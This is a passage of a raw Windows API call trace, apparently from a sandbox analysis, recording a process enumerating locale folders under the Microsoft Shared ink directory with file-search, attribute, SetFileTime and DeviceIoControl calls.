ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95a60 [0051.018] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.018] GetLastError () returned 0x12 [0051.018] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.018] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.018] GetLastError () returned 0x12 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.018] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0051.019] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.019] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0051.019] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.019] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0051.019] NtClose (Handle=0x190) returned 0x0 [0051.019] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.020] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95a80 [0051.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96588 [0051.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.020] GetLastError () returned 0x12 [0051.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.020] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.020] GetLastError () returned 0x12 [0051.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.020] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.021] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0051.021] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0051.021] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.021] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.022] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.022] NtClose (Handle=0x184) returned 0x0 [0051.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.022] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.022] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.022] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95aa0 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf96690 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.023] GetLastError () returned 0x12 [0051.023] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.023] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.023] GetLastError () returned 0x12 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.023] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0051.023] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.023] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0051.023] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0051.046] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.046] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.047] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 